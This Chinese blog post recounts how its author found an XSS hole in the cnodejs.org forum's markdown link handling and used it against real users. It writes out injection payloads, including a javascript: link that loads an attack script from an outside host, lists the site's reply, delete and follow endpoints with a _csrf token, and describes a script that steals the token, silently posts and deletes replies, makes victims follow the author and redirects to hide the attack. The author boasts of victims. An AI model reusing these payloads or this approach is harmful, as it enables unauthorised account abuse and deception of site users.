自从我在cnodejs官网上发布了一篇关于《xss和csrf讨论》的文章后,cnodejs开始了一轮xss注入热潮,各种alert弹窗,自动回复以及修改页面等等。最后袁锋(suqian)只能将所有的markdown标签的html标签禁用,才平息了这场风波。
但是真的将所有的html标签都禁用了就没有漏洞了吗?感兴趣的同学可以继续往下看。
之前我在cnodjs上发的原文连接《关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)》
我们来看一下袁锋在禁用html标签前的各种惨状,可谓惨不忍睹,alert满天飞。
1、老雷的ORZ!
2、各种alert,又是老雷!
很多主题的帖子都被漫天飞舞的alert强奸了,如果管理员再无作为的话,cnodejs就要崩溃了。
先分析一下本次cnodejs被注入的原因,其实原理很简单,就是直接可以在文本编辑器里写入代码,比如:
1 | <script>alert("xss")</script> |
如此光明正大的被人注入肯定会引起管理员们的注意的,然后将此bug封杀掉。袁锋本着宁可错杀100不可放过1个的精神,关闭了HTML标签,但是本文所要讲述的就是那个不可放过的1个。
注入分析:
由于袁锋将所有html标签都禁用了,所以直接在编辑器写什么
1 |
|
以上这些都不管用了,赤裸裸的注入肯定失败了,我们仔细看下markdown编辑器:
从左到右的功能依次是,加粗,斜体,超链接……,等等,超链接是最有可能成为反射型XSS的注入点。
先说下一般 A 标签的注入流程
我们一般可以让
a、用户填写的超连接内容 = javascript:alert(“xss”);
b、用户填写的超连接内容 = http://www.baidu.com#"onclick="alert('xss')"
a方法是直接写入javascript语法,一般都会被禁用,因为后端一般会验证 url 地址是否合法,比如是否是http或者https开头的。
b方法是利用后端没有过滤双引号,从而截断href属性,给这个a标签增加onclick属性,实现注入。
很可惜,我们的cnodejs编辑器将双引号过滤掉了,所以我们的方法2是行不通的。但是cnodejs并没有过滤单引号!单引号我们也是可以利用的,于是我们的注入步骤如下图所示:
我们写了一个标题为bbbb的超连接,然后在href属性里直接写入javascript的alert框,最后我们利用js的注释添加一个双引号结尾,企图尝试下双引号是否转义。下图就是侧漏图:
当用户点击了我的超链接bbbbb,我们就成功的注入了,弹出了alert框。同时,我们可以看到在昨天11点多的时候袁锋大大发飙了,将markdown的所有
html标签都禁用了的那篇回复。
按照惯例我们的xss注入已经完成了,文章也可以结束了,但是本次我来带领大家完成一次CSRF的旅程。当然我很快删除了这个超链接,防止泄露出去,这样下面我的CSRF就只能去找其他注入点了。
我在上文说,_csrf 防御CSRF (有点拗口,不难理解吧)是毫无用处的,很多TX表示疑问不理解,下面我就来破解他。先说一下 _csrf 的简单工作流程吧。
因为很多被注入的页面可能没有注入者想要的受害者提交的表单,所以如果直接通过ajax请求会被403forbidden。我这里简单举个例子:
我们往一个自己的个人主页注入了代码,但是这个页面是没有受害用户的_csrf值的,所以在这个页面发起的ajaxpost由于没有_csrf就被拒绝了,正常情况下_csrf会伴随每次的post提交一起提交到后台,然后后台根据用户session里的_csrf进行比对,如果相同则通过,如果不同就认为请求伪造,返回403.
回到cnodjs站点,查看源码,我们看到了作者把_csrf放入了闭包内,然后通过模版渲染直接输出的,这样看上去可以防御了我注入的脚本直接获取_csrf的input框值,从而保护_csrf,但是真的这样吗?我们看如下代码的截图:
这就是我所说的,如果站点被脚本注入了,为什么 _csrf 对于防御 CSRF这类攻击一点效果都没有,就好比一闪铁门上了一把铁丝那样粗的链条锁。
拿到 _csrf 我们就可以为所欲为了,我们这次的CSRF目的是2个
1、将我所发的这篇主题置顶,就是要让用户一直看到,哈哈
2、刷下我的粉丝数,要让受害者关注我哦~
对于1、想要帖子置顶,就必须让用户自动回复,但是如果一旦疯狂的自动回复,肯定会被管理员发现,然后将主题删除或者引起其他受害者的注意。所以我构想如下结果,先自动回复主题,然后自动删除回复的主题,这样就神不知鬼不觉了,用户也不会发现自己回复过了,管理员也不会在意的,因为帖子并没有显示垃圾信息。
对于2、我们只要直接让受害者伪造请求也就是CSRF到置顶接口,即关注我这个ID即可,当然这也是神不知鬼不觉的。
我们分段看下cnodjs发布回复以及删除回复还有关注的ajax接口
1、发布回复:
请求地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post数据:
r_content:顶起来,必须的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F
2、删除回复:
请求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post数据:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F
3、关注
请求地址: http://cnodejs.org/ user/follow
post数据:
follow_id: ‘4efc278525fa69ac690000f7’,
_csrf:Is5z5W5KmmKwlIAYV5UDly9F
ok接口我们都拿到了,然后就是构建攻击js脚本了,我们的js脚本攻击流程就是:
1、获取_csrf
2、发布回复
3、删除回复
4、加关注
5、跳转到正常的地址(防止用户发现)
构建的csrf攻击脚本代码:
1 | (function(){ |
最后我们将整个脚本放入 http://rrest.cnodejs.net/static/cnode_csrf.js ,利用注入的a标签执行:javascript:$.getScript(‘http://rrest.cnodejs.net/static/cnode_csrf.js');
完成我们的注入,我们接下来就来看看效果吧。
我发布了一篇名为 《关于cnodejs官网的XSS和CSRF》的文章,然后显示了部分摘要,将正文博客地址连入内容,然后将外部脚本加载进来了,我们先截个图,看看有多少中招啦,哈哈!
目前我把所有没有读的消息都清空了,然后坐等TX上钩,看看到下午下班有多少TX点了链接,为我加了粉丝。
等下午4点再去CNODEJS上看看吧
立马就有3个人中招
不过这个漏洞刚开始只对chrome有效,后来注入下面的代码之后,就通杀所有浏览器了,hoho~
最后出了一个下策,通杀chrome,ff,IE,哈哈!
最终注入代码:
1 | javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js')// |
注入的文章截图:
受害者截图,预计到晚上回更多:
我们拿FF看到的请求瀑布图:
受害页面(登陆状态攻击才有效):